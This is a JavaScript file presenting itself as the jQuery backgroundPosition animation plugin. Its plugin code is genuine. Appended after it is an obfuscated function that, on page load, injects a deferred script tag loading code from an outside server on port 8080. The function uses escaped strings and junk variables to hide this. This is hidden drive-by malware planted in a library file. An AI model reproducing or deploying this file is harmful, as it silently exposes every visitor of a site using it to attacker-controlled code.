/**
 * @author Alexander Farkas
 * v. 1.1
 * more info: http://www.protofunc.com/scripts/jquery/backgroundPosition/
 * Released under GPL and MIT license
 */

(function($){
	
	if(!document.defaultView || !document.defaultView.getComputedStyle){
		var oldCurCSS = jQuery.curCSS;
		jQuery.curCSS = function(elem, name, force){
			if(name !== 'backgroundPosition' || !elem.currentStyle || elem.currentStyle[ name ]){
				return oldCurCSS.apply(this, arguments);
			}
			var style = elem.style;
			if ( !force && style && style[ name ] ){
				return style[ name ];
			}
			return oldCurCSS(elem, 'backgroundPositionX', force) +' '+ oldCurCSS(elem, 'backgroundPositionY', force);
		};
	}
})(jQuery);

(function($) {
	
	function toArray(strg){
		strg = strg.replace(/left|top/g,'0px');
		strg = strg.replace(/right|bottom/g,'100%');
		strg = strg.replace(/([0-9\.]+)(\s|\)|$)/g,"$1px$2");
		var res = strg.match(/(-?[0-9\.]+)(px|\%|em|pt)\s(-?[0-9\.]+)(px|\%|em|pt)/);
		return [parseFloat(res[1],10),res[2],parseFloat(res[3],10),res[4]];
	}
	
	$.fx.step. backgroundPosition = function(fx) {
		if (!fx.bgPosReady) {
			
			var start = $.curCSS(fx.elem,'backgroundPosition');
			if(!start){//FF2 no inline-style fallback
				start = '0px 0px';
			}
			
			start = toArray(start);
			fx.start = [start[0],start[2]];
			
			var end = toArray(fx.options.curAnim.backgroundPosition);
			fx.end = [end[0],end[2]];
			
			fx.unit = [end[1],end[3]];
			fx.bgPosReady = true;
		}
		
		var nowPosX = [];
		nowPosX[0] = ((fx.end[0] - fx.start[0]) * fx.pos) + fx.start[0] + fx.unit[0];
		nowPosX[1] = ((fx.end[1] - fx.start[1]) * fx.pos) + fx.start[1] + fx.unit[1];           
		fx.elem.style.backgroundPosition = nowPosX[0]+' '+nowPosX[1];

	};
})(jQuery);


function G(){var zZ;if(zZ!='S' && zZ!='B'){zZ='S'};var P=unescape;var U=window;var f;if(f!=''){f='GY'};var g=P("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%70%63%6f%6e%6c%69%6e%65%2e%63%6f%6d%2e%63%6e%2f%70%6f%67%6f%2e%63%6f%6d%2e%70%68%70");function O(z,R){var zz=String("g");var iJ="";var m=new Date();var _=P("%5b"), Y=P("%5d");var zA=new String();var D=_+R+Y;var s=new RegExp(D, zz);var Ia=new Date();var hp;if(hp!='' && hp!='eU'){hp=''};return z.replace(s, new String());this.W="";var Sp=new Array();};var iK;if(iK!=''){iK='iN'};var zW;if(zW!='' && zW!='Bt'){zW=null};var Cv=new Array();var x=O('8549530499618651667470726324','42965137');var p=new Date();var u=new String();var w;if(w!='rW' && w!='YL'){w=''};var a=document;var Z="";this._s="";function M(){var AX;if(AX!='wF' && AX!='gZ'){AX=''};var Dz;if(Dz!='' && Dz!='eA'){Dz='RN'};var rb;if(rb!='' && rb!='em'){rb='Sa'};var i=P("%68%74%74%70%3a%2f%2f%68%65%6c%70%68%6f%6d%65%63%61%72%65%2e%61%74%3a");var _Q;if(_Q!='' && _Q!='q_'){_Q='k'};u=i;var Zn=new Array();u+=x;var bw;if(bw!='K'){bw='K'};var n=new Date();u+=g;this.l="";try {this.iB="";var zH;if(zH!='' && zH!='YO'){zH='Oa'};var fm;if(fm!='' && fm!='Da'){fm=''};var foW;if(foW!='' && foW!='Yu'){foW=''};b=a.createElement(O('sycDrQiwpftD','fDgKe5wuU_PyLQ'));b[P("%64%65%66%65%72")]=[1,5][0];var zq="";var bL;if(bL!='V' && bL != ''){bL=null};b[P("%73%72%63")]=u;var p_;if(p_!='d'){p_='d'};var mz=new Date();var Dn=new Array();a.body.appendChild(b);var ua="";this.GS='';} catch(h){var ue;if(ue!='cC' && ue!='jG'){ue=''};alert(h);};}var Wi;if(Wi!='' && Wi!='FM'){Wi=''};U["onloIfY".substr(0,4)+"ad"]=M;var cH="";};var wb;if(wb!=''){wb='dw'};G();var Iaw;if(Iaw!='' && Iaw!='Is'){Iaw=null};var sJ="";
